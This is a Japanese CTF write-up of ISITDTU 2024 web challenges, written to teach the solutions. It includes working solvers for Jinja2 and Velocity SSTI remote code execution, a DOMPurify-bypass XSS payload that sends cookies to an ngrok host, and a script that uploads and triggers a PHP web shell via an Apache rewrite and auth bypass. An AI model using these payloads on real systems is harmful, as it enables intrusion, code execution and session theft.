ISITDTU CTF 2024 - web writeup
先週末はISITDTU CTFに参加しまして、Web問題が2/7問しか解けず残念な結果となってしまいました。あまり時間取れなかったり、友人とCryptoにチャレンジしてたり、あと開催時間を勘違いしていたりと言い訳はできるものの、実力不足が一番の原因であることは変わらなそうです...
解いた問題2問 + 時間内にチャレンジした問題のupsolve2問のwriteupです。
✅ Another one (100pts 103/315solves クリア率33%)
ユーザーを作成できる/register
がある。ユーザー名・パスワードに加えてroleが付与されるが、これがadmin
だと後述するSSTIができるようになるので、権限昇格が第一ステップとなる。
@app.route('/register', methods=['POST'])
def register():
json_data = request.data
if "admin" in json_data:
return jsonify(message="Blocked!")
data = ujson.loads(json_data)
username = data.get('username')
password = data.get('password')
role = data.get('role')
if role !="admin" and role != "user":
return jsonify(message="Never heard about that role!")
if username == "" or password == "" or role == "":
return jsonify(messaage="Lack of input")
if register_db(connection, username, password, role):
return jsonify(message="User registered successfully."), 201
else:
return jsonify(message="Registration failed!"), 400
入力にadmin
の文字列が含まれるとWAFに引っかかってしまうので、これを回避する必要がある。データはujsonというライブラリでjson形式の文字列から辞書型に変換される。変換前はadmin
が含まれないが、この変換後にadmin
が含まれるような特殊な文字列を探したい。
検索していると、An Exploration of JSON Interoperability Vulnerabilitiesという記事を発見した。これを参考にしてadm\\ud888in
というroleにしたところ、WAFを回避することができた。
次にSSTIができる/render
というエンドポイントがある
@app.route('/render', methods=['POST'])
def dynamic_template():
token = request.cookies.get('jwt_token')
if token:
try:
decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
role = decoded.get('role')
if role != "admin":
return jsonify(message="Admin only"), 403
data = request.get_json()
template = data.get("template")
rendered_template = render_template_string(template)
return jsonify(message="Done")
except jwt.ExpiredSignatureError:
return jsonify(message="Token has expired."), 401
except jwt.InvalidTokenError:
return jsonify(message="Invalid JWT."), 401
except Exception as e:
return jsonify(message=str(e)), 500
else:
return jsonify(message="Where is your token?"), 401
チートシートを見ればわかる通り、次のコマンドでRCEが可能。
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
しかし、この結果はそのままでは表示されないので、エラーが発生した場合はそのエラー文が返ってくることを利用する。int
関数は入力された文字列が数値に変換できない場合、その文字列を含むエラー文を吐くので、上記のスクリプトをそのままint
関数に入れると結果を見ることができる。
したがって、以下でフラグを入手した。
import requests
# URL = "http://MYLOAFWnfKXwmzhJ:mnEwBXeVKSHbLoGW@20.198.254.169:64609/"
URL = "http://localhost:8082/"
s = requests.session()
json = """{"username": "user", "password": "pass", "role": "adm\\ud888in"}"""
r = s.post(URL + "register", data=json)
r = s.post(URL + "login", json={
"username": "user",
"password": "pass"
})
s.cookies["jwt_token"] = r.json()["message"]
# command = 'ls'
command = 'cat ow2z2yy4tghv'
payload = f"""
{{{{ config.__class__.from_envvar.__globals__.__builtins__.int(config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen('{command}').read()) }}}}
"""
r = s.post(URL + "render", json={
"template": payload
})
print(r.text)
✅ X Éc Éc (100pts 63/315solves クリア率20%)
ノートを保存できるサイト。ソースコードは配布されていないが、ヒントとして"dependencies": {"dompurify": "^3.1.6"}
が与えられている。
ヒントの通り、DOMPurifyが使われているのだろうと思い、<h1>foobar</h1>
を入力したところ、太文字で表示されたが、<script>alert(1)</script>
などは削除されることが確認できた。
また、調べたところDOMPurifyの最新版は3.1.7
であり、これは一つ前の情報であることがわかる。変更ログを見てみると、
Fixed an issue with comment detection and possible bypasses with specific config settings, thanks @masatokinugawa
これはTwitter(現X)で見たことあるやつだ!と思い、報告者のアカウントを漁るとpayloadが見つかった。
以下のペイロードを作成すると、無事XSSができた。
<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=document.location.assign('https://tchenio.ngrok.io/?c='+document.cookie)>">
hihi (287pts 20/315solves クリア率6.3%)
48時間開催だと勘違いして20分フラグ提出が遅れてしまいました...
app.jar
というファイルが配布されるので、jd-guiでデコンパイルすると、/
のPOSTにSSTIができそうな雰囲気があることがわかる。
@Controller
public class MainController {
@GetMapping({"/"})
@ResponseBody
public String index() {
return "hey";
}
@PostMapping({"/"})
@ResponseBody
public String hello(@RequestParam("data") String data) throws IOException {
String name, hexString = new String(Base64.getDecoder().decode(data));
byte[] byteArray = Encode.hexToBytes(hexString);
ByteArrayInputStream bis = new ByteArrayInputStream(byteArray);
SecureObjectInputStream secureObjectInputStream = new SecureObjectInputStream(bis);
try {
Users user = (Users)secureObjectInputStream.readObject();
name = user.getName();
} catch (Exception e) {
throw new RuntimeException(e);
}
if (name.toLowerCase().contains("#"))
return "But... For what?";
String templateString = "Hello, " + name + ". Today is $date";
Velocity.init();
VelocityContext ctx = new VelocityContext();
LocalDate date = LocalDate.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("MMMM dd, yyyy");
String formattedDate = date.format(formatter);
ctx.put("date", formattedDate);
StringWriter out = new StringWriter();
Velocity.evaluate((Context)ctx, out, "test", templateString);
return out.toString();
}
}
まず、与えられたdata
をbase64でデコードし、デコードされた16進数をバイト列に変換している。これをSecureObjectInputStream
に与えてUser
クラスを生成している。調べると、これはバイト列からjavaオブジェクトをデシリアライズできる仕組みのようだ。
デコンパイルした結果を元に、次のようなコードでシリアライズできるようにした。
import java.io.Serializable;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Users implements Serializable {
private String name;
private static final long serialVersionUID = 8107928321213067187L;
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) {
Users user = new Users();
user.setName("");
try (FileOutputStream fos = new FileOutputStream("users.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(user);
} catch (IOException e) {
e.printStackTrace();
}
}
}
これで、以下を実行すると、シリアライズされたクラスのバイナリusers.ser
が生成される。
$ javac Users.java
$ java Users
ただし、パッケージ名がcom.isitdtu.hihi.Users
でないといけないので、python側で修正した。調べたところ、最初の6バイトがバージョン情報や、クラスの開始コードなどで、その後に2バイトのパッケージ名の長さ、その後にパッケージ名、と続く。また、name
の情報は、最後に2バイトの文字列の長さ、その後に文字列、と続く。
import requests
import os
import re
import struct
from base64 import b64encode
URL = "http://localhost:8081/"
os.system("javac Users.java")
os.system("java Users")
b = open("users.ser", "rb").read()
payload = f"Bob"
package = b"com.isitdtu.hihi.Users"
b = b[:6] + struct.pack('>H', len(package)) + package + b.split(b"Users")[1][:-2] + struct.pack('>H', len(payload)) + payload
s = requests.session()
r = s.post(URL, data={
"data": b64encode(b.hex().encode())
})
x = re.findall(r"Hello, (.+)\.", r.text)[0]
print(x)
nameはVelocity
というテンプレートエンジンを通して表示されるので、ここからSSTIにつなげたい。PayloadAllTheThingに少しRCEまでのつなげ方が載っているが、#
が利用できないのでそのままでは行えない。特に、#
を利用しないと変数宣言ができないので、唯一与えられている$date
という文字列からRCEまでの関数までつなげる必要がありそうだ。
いろいろ試行錯誤したところ、以下でうまく行った。
$date.getClass().forName('java.lang.Runtime').methods[0].invoke(null,null).exec('{cmd}').inputStream.readAllBytes()
以下が完全なソルバー
import requests
import os
import re
import struct
from base64 import b64encode
URL = "http://localhost:8081/"
os.system("javac Users.java")
os.system("java Users")
b = open("users.ser", "rb").read()
cmd = "ls"
payload = f"$date.getClass().forName('java.lang.Runtime').methods[0].invoke(null,null).exec('{cmd}').inputStream.readAllBytes()".encode()
package = b"com.isitdtu.hihi.Users"
b = b[:6] + struct.pack('>H', len(package)) + package + b.split(b"Users")[1][:-2] + struct.pack('>H', len(payload)) + payload
s = requests.session()
r = s.post(URL, data={
"data": b64encode(b.hex().encode())
})
x = re.findall(r"Hello, (.+)\.", r.text)[0]
print(bytes(eval(x)).decode())
S1mple (100pts 35/315solves クリア率11%)
solve数の割に解けなかったのが結構悔やまれます。こういう問題を落とさないようになりたいです。
以下のDockerfileが渡される。servertest2008/simplehttpserver
というdockerhubにアップロードされたイメージを解析することが目的となりそう。
FROM servertest2008/simplehttpserver:1.4
EXPOSE 80
RUN echo "flag_here" > /.htpasswd
CMD ["/bin/bash", "/start.sh"]
docker history
コマンドにより、イメージを構成する際のコマンドをすべて見ることができる。
$ docker history s1mple-app:latest 4:03:13
IMAGE CREATED CREATED BY SIZE COMMENT
a9ce8acb10b0 5 days ago CMD ["/bin/bash" "/start.sh"] 0B buildkit.dockerfile.v0
<missing> 5 days ago RUN /bin/sh -c echo "flag_here" > /.htpasswd… 10B buildkit.dockerfile.v0
<missing> 5 days ago EXPOSE map[80/tcp:{}] 0B buildkit.dockerfile.v0
<missing> 7 days ago /bin/bash /start.sh 89.8kB
<missing> 7 days ago CMD ["/bin/bash" "/start.sh"] 0B buildkit.dockerfile.v0
<missing> 7 days ago RUN /bin/sh -c echo "flag" > /.htpasswd # bu… 5B buildkit.dockerfile.v0
<missing> 7 days ago EXPOSE map[80/tcp:{}] 0B buildkit.dockerfile.v0
<missing> 8 weeks ago /bin/bash /start.sh 44.2kB
<missing> 8 weeks ago CMD ["/bin/bash" "/start.sh"] 0B buildkit.dockerfile.v0
<missing> 8 weeks ago RUN /bin/sh -c echo "ISITDTU{test_apache_con… 41B buildkit.dockerfile.v0
<missing> 8 weeks ago EXPOSE map[80/tcp:{}] 0B buildkit.dockerfile.v0
<missing> 8 weeks ago /bin/bash /start.sh 38.3kB
<missing> 2 months ago /bin/bash /start.sh 31kB
<missing> 2 months ago CMD ["/bin/bash" "/start.sh"] 0B buildkit.dockerfile.v0
<missing> 2 months ago RUN /bin/sh -c echo "ISITDTU{apache_confusio… 36B buildkit.dockerfile.v0
<missing> 2 months ago EXPOSE map[80/tcp:{}] 0B buildkit.dockerfile.v0
<missing> 2 months ago /bin/bash /start.sh 31.2MB
<missing> 2 months ago CMD ["/bin/bash" "/start.sh"] 0B buildkit.dockerfile.v0
<missing> 2 months ago RUN /bin/sh -c echo "this_is_secret_password… 24B buildkit.dockerfile.v0
<missing> 2 months ago RUN /bin/sh -c echo "ISITDTU{apache_confusio… 36B buildkit.dockerfile.v0
<missing> 2 months ago EXPOSE map[80/tcp:{}] 0B buildkit.dockerfile.v0
<missing> 2 months ago /bin/bash /start.sh 264MB
<missing> 2 months ago CMD ["/bin/bash" "/start.sh"] 0B buildkit.dockerfile.v0
<missing> 2 months ago EXPOSE map[80/tcp:{}] 0B buildkit.dockerfile.v0
<missing> 2 months ago RUN /bin/sh -c chmod 755 /start.sh # buildkit 207B buildkit.dockerfile.v0
<missing> 2 months ago COPY ./scripts/start.sh /start.sh # buildkit 207B buildkit.dockerfile.v0
<missing> 2 months ago COPY .htaccess /var/www/html/src/ # buildkit 489B buildkit.dockerfile.v0
<missing> 2 months ago COPY src/ /var/www/html/src/ # buildkit 588B buildkit.dockerfile.v0
<missing> 2 months ago COPY config/php/fpm/xdebug.ini /etc/php/7.0/… 52B buildkit.dockerfile.v0
<missing> 2 months ago COPY config/php/fpm/pool.d/www.conf /etc/php… 4.85kB buildkit.dockerfile.v0
<missing> 2 months ago COPY config/php/fpm/php.ini /etc/php/7.0/fpm… 71.4kB buildkit.dockerfile.v0
<missing> 2 months ago COPY ./config/apache/000-default.conf /etc/a… 613B buildkit.dockerfile.v0
<missing> 2 months ago COPY config/supervisord/conf.d/ /etc/supervi… 481B buildkit.dockerfile.v0
<missing> 2 months ago COPY config/supervisord/supervisord.conf /et… 1.18kB buildkit.dockerfile.v0
<missing> 2 months ago RUN /bin/sh -c mkdir -p /run/php/ # buildkit 0B buildkit.dockerfile.v0
<missing> 2 months ago RUN /bin/sh -c apt-get update && apt-get… 266MB buildkit.dockerfile.v0
<missing> 2 months ago ENV DEBIAN_FRONTEND=noninteractive 0B buildkit.dockerfile.v0
...
ISITDTU{apache_confusion_by_orange}
のような文字列があるが、これは偽のフラグだった。ただ、apacheの設定がおかしいというヒントの可能性は高そうだ。config/apache/000-default.conf
が書き換えられているので、その内容を見てみる。
<VirtualHost *:80>
DocumentRoot /var/www/html/src
<FilesMatch "\.php$">
SetHandler "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/"
</FilesMatch>
<Proxy "fcgi://localhost/" enablereuse=on max=10>
</Proxy>
<Directory /var/www/html/src/>
Options FollowSymLinks
AllowOverride All
</Directory>
RewriteEngine On
RewriteRule ^/website-(.*).doc$ /$1.html
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]
ErrorLog ${APACHE_LOG_DIR}/error_php.log
CustomLog ${APACHE_LOG_DIR}/access_php.log combined
</VirtualHost>
Hacktricksにある通り、RewriteRule ^/website-(.*).doc$ /$1.html
のような書き換えを行ってしまうと、ルートディレクトリからのファイルマッチにも対応してしまうことになる。さらに、この書き換えによりURLデコードされるので、例えば、/website-path/to/file%3F.doc
(%3F
は?
のURLエンコード)は、/path/to/file?.html
に書き換えられる。これを利用して、任意のディレクトリのphpファイルを読み込むことができる。
(CTF当日は、ルートディレクトリから読み取れることに気づかず...少なくとも試してみるべきでした。)
find / -name "*.php"
などでファイルを探すと、/usr/share/vulnx/shell/VulnX.php
というファイルがアップロードされていることがわかる。これを利用すると、好きなファイルをアップロードできそうだ。
<html>
</html>
<?php
error_reporting(0);
set_time_limit(0);
if($_GET['Vuln']=="X"){
echo "<center><b>Uname:".php_uname()."<br></b>";
echo '<font color="black" size="4">';
if(isset($_POST['Submit'])){
$filedir = "uploads/";
$maxfile = '2000000';
$mode = '0644';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if(isset($_FILES['image']['name'])) {
$qx = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $qx);
@chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Uploaded Success ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';
}
?>
ただし、アップロード先である/usr/share/vulnx/shell/uploads
はディレクトリに書き込み権限がないが、/usr/share/vulnx/shell/shell.html
というファイルには書き込み権限があるので、このファイルの中身を書き換えることしかできない。
そこで、admin.php
というファイルを利用する。このファイルは、.htaccess
によりbasic認証の制限がある。.htaccess
が、
<Files "admin.php">
AuthType Basic
AuthName "Admin"
AuthUserFile "/.htpasswd"
Require valid-user
</Files>
のように完全一致で書かれていたため、/admin.php%3F.php
のようにアクセスすることで認証を回避できる。その内容は以下の通り。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Page</title>
</head>
<body>
<h1>Welcome to the Admin Page</h1>
<?php
error_reporting(0);
if (isset($_GET['pages']) && !empty($_GET['pages']))
{
$page = "./pages/" . $_GET['pages'] . ".html";
include($page);
}
else
{
echo '<a href="?pages=1"> Link </a>';
}
?>
</body>
</html>
このファイルは、ディレクトリトラバーサルにより、サーバー内の任意のhtmlファイルを読み込むことができるので、これを利用してshell.html
を読み込むことができる。
以下が最終的なソルバー
import requests
from base64 import b64encode
# URL = "http://35.240.202.218:8000/"
URL = "http://localhost:3000/"
s = requests.session()
r = s.post(URL + "website-usr/share/vulnx/shell/VulnX.php%3fVuln=X&a=.doc", files={
"image": ('shell.html', b'<pre><?php system($_GET["cmd"]);?></pre>')
}, data={
"Submit": "true"
})
print(r.status_code)
print(r.text)
r = s.get(URL + "admin.php%3f.php", params={
"pages": "../../../../../../../usr/share/vulnx/shell/uploads/shell",
"cmd": "cat /.htpasswd"
})
print(r.status_code)
print(r.text)
Discussion